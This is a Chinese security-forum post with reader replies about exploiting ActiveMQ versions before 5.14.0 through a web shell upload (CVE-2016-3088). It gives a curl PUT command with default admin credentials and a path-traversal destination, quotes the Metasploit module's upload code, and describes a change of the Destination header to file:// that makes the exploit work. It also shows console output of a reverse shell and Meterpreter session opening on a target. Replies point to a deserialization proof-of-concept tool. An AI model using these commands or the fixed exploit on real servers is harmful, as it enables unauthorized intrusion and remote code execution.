ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit)
发布于 2 年前 阅读权限 无需登录 作者 0c0c0f 4279 次浏览 来自 知识碎片

这个漏洞是去年爆出来的,当时@CF_HB师傅就给出的一个测试命令: curl -u 'admin:admin' -v -X PUT --data "@cmd.jsp" http://192.168.1.114:8161/fileserver/..\\admin\\cmd.jsp 最近msf更新了exploit,就测试一下,结果发现插件有bug,在此记录一下。

def try_upload(path, jar_payload, payload_name)
    ['.jar', '.jsp'].each do |ext|
      file_name = payload_name + ext
      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
      move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
      upload_uri = normalize_uri('fileserver', file_name)
      print_status("Uploading #{move_headers['Destination']}")
      register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
      @trigger_resource = /webapps(.*)/.match(path)[1]
    end
    true
  end

其中move_headers的Destination是http协议形式,定义如下:

move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }

反复测试没有成功,最后把http://协议修改为file://协议才成功了。

msf exploit(apache_activemq_upload_jsp) > exploit

[*] Started reverse TCP handler on 192.168.1.129:4444 
[*] Uploading file://C:\apache-activemq-5.11.1\webapps\api
[*] Uploading file://C:\apache-activemq-5.11.1\webapps\api
[*] Sending stage (49645 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.100:49173) at 2017-07-01 10:42:26 -0400
[+] Deleted ../../webapps/api/KLZcuQQXiUIhi.jsp
[!] This exploit may require manual cleanup of '../../webapps/api/KLZcuQQXiUIhi.jar' on the target

meterpreter > ifconfig

Interface  1
Name         : lo - Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

这个漏洞的的另外一个利用方法是写公钥到服务器。 参考来源: https://www.exploit-db.com/exploits/42283/ http://www.lofter.com/tag/CVE-2016-3088

31 回复

@cf_hb 师傅牛逼 这个洞bp搞起来也挺方便的。

@cf_hb 这个脚本很方便的 简单好用

@apple msf那个有朋友测 5.10.0下可用,是linux环境。但其他版本没有成功。 linux.png

win32环境没有成功案例 ’Targets’ => [ [ ‘Java Universal’, { ‘Platform’ => ‘java’, ‘Arch’ => ARCH_JAVA } ], [ ‘Linux’, { ‘Platform’ => ‘linux’, ‘Arch’ => ARCH_X86 } ], [ ‘Windows’, { ‘Platform’ => ‘win’, ‘Arch’ => ARCH_X86 } ] ],

总之他这个exploit有点问题。

感谢分享

感谢分享,刚好有ActiveMQ的环境,学习一下

@hoho2017 看能打成功吗

学习一波啊

真是非常方便的工具啊

学习一波

记得有一个一键上传的py脚本

这个不是还有反序列化漏洞,poc倒是没有找到

感谢分享

@0c0c0f poc https://github.com/matthiaskaiser/jmet.git 本地搭建,测试了一下,win2003+pache-activemq-5.12.0 win2003+pache-activemq-5.10.2 都没有成功 1.png

请问你测试成功了吗?是我那里不对吗?

补充:日志里面却是缺心类…… 1.png

@0c0c0f 这个请教一下

关键是有账号密码,不然一切都是白瞎

@wpf97 你这个需要有消费者才行,命令是在客户端执行的。 image.png

还要进后台点消息才行…………

回到顶部